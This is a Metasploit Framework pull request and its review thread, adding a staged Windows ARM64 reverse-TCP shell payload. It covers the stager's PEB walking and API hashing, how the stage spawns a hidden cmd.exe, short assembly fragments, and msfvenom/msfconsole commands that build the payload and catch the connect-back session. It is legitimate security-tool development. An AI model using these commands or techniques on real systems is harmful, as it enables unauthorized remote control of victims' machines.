Add windows/aarch64/shell/reverse_tcp staged payload - #21744
Conversation
Introduce an AArch64 Windows reverse-TCP stager/stage pair so WoA targets can use multi/handler with a 716-byte stager and 420-byte cmd.exe stage (sockx0), following the same Pattern B assembly style as the merged stageless payload. Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
Pull request overview
Adds the first staged Windows-on-ARM (AArch64) reverse TCP command-shell payload pair to Metasploit Framework, enabling windows/aarch64/shell/reverse_tcp to deliver a small stager that downloads and executes a cmd.exe stage over the same socket.
Changes:
- Added a new AArch64 Windows reverse TCP stager implementation (
Msf::Payload::Windows::ReverseTcp_Aarch64) and its stager module. - Added a new AArch64 Windows command-shell stage module that expects the socket handle in
x0(sockx0) and spawnscmd.exe. - Added documentation and RSpec coverage for the new staged payload (including cached-size consistency registration).
Impact Analysis: isolated change; no meaningful downstream impact identified from diff. (type "custom")
Reviewed changes
Copilot reviewed 7 out of 7 changed files in this pull request and generated no comments.
Show a summary per file
| File | Description |
|---|---|
| spec/modules/payloads/stages/windows/aarch64/shell_spec.rb | Adds stage-focused RSpecs (size, prologue instruction, EXITFUNC variability). |
| spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb | Adds stager-focused RSpecs (size, LHOST/LPORT variability, IPv4 validation). |
| spec/modules/payloads_spec.rb | Registers the new staged payload in the cached-size consistency suite. |
| modules/payloads/stages/windows/aarch64/shell.rb | New staged AArch64 Windows shell stage (CreateProcessA-based cmd.exe spawn, sockx0). |
| modules/payloads/stagers/windows/aarch64/reverse_tcp.rb | New staged AArch64 Windows reverse_tcp stager module wiring (CachedSize/handler/convention). |
| lib/msf/core/payload/windows/reverse_tcp_aarch64.rb | New AArch64 reverse_tcp stager generator (PEB/EAT hashing, recv-length, VirtualAlloc, FlushInstructionCache). |
| documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md | New user documentation for windows/aarch64/shell/reverse_tcp including scenario. |
| end | ||
|
|
||
| def compile_aarch64(asm_string) | ||
| require 'aarch64/parser' |
There was a problem hiding this comment.
Question to the group: Should we be tracking this in the Gemfiles?
It is used in both the osx and windows aarch64 payloads.
There was a problem hiding this comment.
Oooops; it already is.....
| # 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup | ||
| # 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache | ||
| # 0x50 sockaddr_in 0x70 WSADATA | ||
| <<~ASM |
There was a problem hiding this comment.
Now that we have this same code in a few locations I think it makes sense to offload it to a mixin/library?
Specifically, I'm thinking at least the ror13, exitfunk, and block API stuff?
There was a problem hiding this comment.
Hey, @bwatters-r7.
Sorry for the delay; I was not sure if the questions were for me.
Anyways, pulled the shared helpers into Msf::Payload::Windows::Aarch64 / Exitfunk_Aarch64 (ror13, compile glue, exitfunk). Wired into the stager, stage, and the stageless shell_reverse_tcp in d691c54.
Additionally, CI on d691c54 is green across all 51 relevant checks. The only red is Meterpreter Acceptance/build / java 8 macos-15-intel; the job failed on a GitHub Actions CreateArtifact upload timeout afterward. Unrelated to these payload changes. Could you kindly re-run just that job?
| case value.to_s.downcase | ||
| when 'thread' | ||
| ror13_hash('ExitThread') | ||
| when 'process', '', 'seh' |
There was a problem hiding this comment.
Now that I'm looking at it again, why do we not do the same seh tactic here as in x86 and x64? Originally I'd I thought there was an architectural reason, but on another reading, I'm not sure that's the case?
Use SetUnhandledExceptionFilter to disable the handlers, then jump to null for a predictable crash? All that should be do-able in aarch64, I think?
There was a problem hiding this comment.
Added in d691c54. EXITFUNC=seh now follows the x64 tactic: SetUnhandledExceptionFilter(NULL) then br xzr. Validated on Win11 ARM64 — staged sends 416-byte stage with seh (420 with process), inline is 660 bytes, shell works and session closes cleanly on exit.
Share ror13/compile/exitfunk helpers across the Windows AArch64 payloads, and make EXITFUNC=seh match x64 by clearing the unhandled exception filter then branching to NULL. Co-authored-by: Cursor <cursoragent@cursor.com>
|
@vinicius-batistella everything passing, now, but I probably will not get to this until tomorrow. Thanks so much for the changes; I am thrilled we're slowly adding AARCH64 Windows support! |
|
Hey, @bwatters-r7. |
| str xzr, [x11, #0x60] | ||
| mov w0, #0x68 | ||
| str w0, [x11, #0x00] | ||
| mov w0, #0x100 |
There was a problem hiding this comment.
I noticed that this pops open the cmd window on the remote host. I swapped 0x101 here to try and get the STARTUPINFO struct to tell it to hide, but it still opened for me after this change. I want to see if there's something else we're doing, but I ran out of time today. If you don't get a chance before, I should be able to swing back next week.
There was a problem hiding this comment.
Done in 3b45d47. You also need to set CREATE_NO_WINDOW (0x08000000) on CreateProcessA in order to pop a cmd in hidden mode.
PS: my CI is all broken again.
STARTF_USESHOWWINDOW alone still left a visible cmd/conhost on WoA; set dwFlags to 0x101 and pass CREATE_NO_WINDOW to CreateProcessA. Co-authored-by: Cursor <cursoragent@cursor.com>
|
The only thing still failing is the mettle build/test, which has nothing to do with the PR. |
| mov x22, x0 | ||
| sub sp, sp, #0x100 | ||
| mov x29, sp | ||
| find_kernel32: |
There was a problem hiding this comment.
Minor: This 50+ line section for walking the PEB and getting the export data is duplicated across this file, reverse_tcp_aarch64, and shell.rb (though from a previous PR). Would it be worthwhile to relocate it to the aarch64 library?
There was a problem hiding this comment.
Sure thing. Moved the PEB walk + find_function block into Msf::Payload::Windows::Aarch64#asm_block_api_aarch64 and reused it from the stager, stage, and stageless single (3349868)
| 'Platform' => 'win', | ||
| 'Arch' => ARCH_AARCH64, | ||
| 'Handler' => Msf::Handler::ReverseTcp, | ||
| 'Convention' => 'sockx0', |
There was a problem hiding this comment.
This does not do what we hope it does, and I think only avoids crashing because we're missing a flag that turns the code on that consumes it...
I need to dig some more to find out the right answer.
Underlying this is a call to
The regex there assumes that there will be three alpha characters after
sock. This should break that code, or at least render it moot? That said, in order for that code to fire, you'd need to declare this stager with the key PayloadCompat, and we don't, so the code never gets fired, and it does not misunderstand/crash when it gets a register that is not three alpha characters.I guess that the osx version of this declares it is
sockedi compatible, which..... searchers for edi, and since that does not exist in the shellcode, it passes, but also, does not do what I think the author is expecting it to do?Anyway- TL;DR, my immediate thought is that we should remove this line and bring it to parity with the Linux versions of the payloads, but I'm assuming the Linux version of staged payloads work the same as Windows, and I'm not 100% on that? I need to do a bit more digging here to make sure that this is not going to bite us later.
It may also be we need to change the regex in the stager mixin, but I want to be sure before we do that.
There was a problem hiding this comment.
OK; sorry I ran out of time, was distracted yesterday, and I was wrong.
The socketedi convention is for agreement between stagers and stages, and that's the compatibility we're checking.
Checking for that compatibility is nice, but we don't do it on the Linux side, and on the Windows side, we only have the underlying plumbing to check for compatibility on x86/x86_64 registers.
Since this is not really needed, but is nice, I see no reason to hold this PR up for that. Let's drop the 'Convention' => 'sockx0', because it does not do anything, and then simply not support the check for now, since no one is clambering to use different second stages for this stager.
You're already following the convention here laid down in the osx aarch64, so someday, we should add the underlying code to support the socketx0 convention, but that is not today.
TL;DR, let's drop this line and land this.
There was a problem hiding this comment.
Hey, @bwatters-r7.
Dropped 'Convention' => 'sockx0' from the stager in 8f83a22. And I'm more than happy to help on real sockx0 support later if useful.
There was a problem hiding this comment.
Thanks! I'm looking at these rspec failures right now.
There was a problem hiding this comment.
No worries, thank you.
Move the duplicated find_kernel32/find_function block into the Windows AArch64 mixin so the stager, stage, and stageless single reuse one implementation. Co-authored-by: Cursor <cursoragent@cursor.com>
The stager mixin only preserves sockXXX registers matching three alpha characters, so sockx0 was a no-op. Remove it per review; real AArch64 convention support can land separately. Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
|
OK; specs passing, tests passing, everything looks good to me. Lemme get a second set of eyes on it for landing. |
|
dledda-r7
left a comment
There was a problem hiding this comment.
Code looks good. the only thing i would call out is about lib/msf/core/payload/windows/exitfunk_aarch64.rb and lib/msf/core/payload/windows/reverse_tcp_aarch64.rb which should be inside the lib/msf/core/payload/windows/aarch64/ folder if we want to keep standard as lib/msf/core/payload/windows/x64 not a blocker tho. eventually we need to clean that up anyway.
Ahhhhh; good point! |
Release NotesAdds Windows AARCH64 staged shell payloads. |
|
Hey, @bwatters-r7. Happy to help on the follow-up. I don’t see a public branch/PR for the Thanks again. |
|
@vinicius-batistella I put up a draft PR: #21779 for the psexec stuff. I have not tested it too deeply, and I have no idea how the CI will take it, so there may be some dragons in there! |
Closes (or partially addresses) #20385.
Builds on the merged Windows AArch64 work in #21588 (
exe/exe-onlydispatch) and #21589 (stageless
windows/aarch64/shell_reverse_tcp).Summary
Adds the first staged Windows on ARM (AArch64) reverse-TCP command-shell
payload pair:
windows/aarch64/reverse_tcp— connects back toLHOST:LPORT, reads a 4-byte little-endian length,VirtualAllocs RWX,recvs the stage, flushes the instruction cache, and jumps to it withthe socket handle in
x0.windows/aarch64/shell— expects that socket inx0(convention
sockx0), resolvesCreateProcessA, and spawnscmd.exewith stdin/stdout/stderr redirected via
STARTF_USESTDHANDLES.Same Pattern B assembly style as the merged stageless payload and
osx/aarch64/shell_reverse_tcp: runtimecompile_aarch64withMOVZ/MOVKimmediates interpolated from the datastore (Offsets cannotpatch AArch64 imm bitfields).
Technique
Stager
InInitializationOrderModuleList→match
kernel32.dllby name length, then Stephen Fewer's classicROR-13 hash lookup against the Export Address Table.
LoadLibraryA("Ws2_32.dll")→WSAStartup(MAKEWORD(2,2))→WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)→WSAConnect(s, &sockaddr_in, ...).recv4-byte LE size →VirtualAlloc(RWX)→loop
recvuntil full → branch to stage entry with socket inx0.kernel32!FlushInstructionCache(ROR-13
0x53120980) before the jump. User-spacedc cvau/ic ivautrap as
STATUS_ILLEGAL_INSTRUCTION(0xC000001D) on WoA whenSCTLR_EL1.UCIis clear; the Win32 API is the portable fix.patched via
MOVZ/MOVKthe same way as the stageless payload.EXITFUNC=nonemaps toExitProcess(same rationale as Add windows/aarch64/shell_reverse_tcp payload #21589).Stage
mov x22, x0), re-resolveskernel32/CreateProcessA, builds aSTARTUPINFOAwithhStdInput/hStdOutput/hStdErrorset to the socket, andlaunches
"cmd.exe".process/thread/none/seh), same hash table as the stager.Length prefix
Stager => { 'RequiresMidstager' => false }soMsf::Payload::Windows#handle_intermediate_stagesends the standard4-byte little-endian length before the stage bytes. No custom midstager.
Module options
LHOSTMsf::Handler::ReverseTcp)LPORT4444EXITFUNCprocessprocess/thread/none/seh(last is treated asprocess)LHOST is validated with
Rex::Socket.is_ipv4?before encoding into theAF_INET sockaddr (IPv6 / hostnames raise
ArgumentError). LHOST/LPORTare encoded into three
MOVZ/MOVKimmediates inside the stager'sfill_sockaddrpath — no offset-based byte patching.Output size
CachedSize/ measuredmsfvenom -f rawemitsmulti/handlerafter the lengthtemplate_aarch64_windows.exe(#21588)Usage
$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \ LHOST=192.168.0.164 LPORT=6666 \ -f exe -o staged.exe [*] Payload size: 716 bytes [*] Final size of exe file: 6656 bytes [*] Saved as: staged.exe $ ./msfconsole -q -x "use exploit/multi/handler; \ set PAYLOAD windows/aarch64/shell/reverse_tcp; \ set LHOST 192.168.0.164; set LPORT 6666; run" [*] Started reverse TCP handler on 192.168.0.164:6666 [*] Sending stage (420 bytes) to 192.168.0.164 [*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:xxxxx) Shell Banner: Microsoft Windows [Version 10.0.26200.8875] ----- C:\Users\...\Downloads>Verification
Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8875) in a UTM
VM. Staged handler delivered the 420-byte stage and produced an
interactive
cmd.exesession (whoami/hostname/ipconfig).Stageless
windows/aarch64/shell_reverse_tcpwas re-checked on the samehost as a regression.
msfvenom -f rawproduces a 716-byte stagermsfvenom -f exeproduces a runnable PE on Win11 ARM64multi/handlerprintsSending stage (420 bytes)and opens ashell aarch64/windowssessionmov x22, x0/f6 03 00 aa)EXITFUNC=process/thread/noneall compile (stager + stage)LHOSTrejected with/LHOST must be in IPv4 format/spec/modules/payloads_spec.rbtools/dev/msftidy.rbpassesrubocoppasses on new/changed Ruby filesuse payload/windows/aarch64/shell/reverse_tcpNotes
-f execannot wrap AArch64 shellcode; without the stageless work this reuses
the same PEB/hash/
compile_aarch64conventions.sockx0(socket inx0), notsockedi/sockrdi.windows/aarch64/shell_bind_tcp, and Meterpreter oncemetasploit-payloads ARM64 metsrv (Add ARM64 cross-compilation support for Windows Meterpreter metasploit-payloads#794) lands.
aligned with the standalone prototype for byte-comparable audits).
no LHOST/LPORT fallbacks, IPv4 validation + specs, Pattern B (not
Offsets),
EXITFUNC=none→ExitProcess,# frozen_string_literal: trueon new modules/specs, no trailing commas in metadata hashes.
Author / License
Vinicius BatistellaMade with Cursor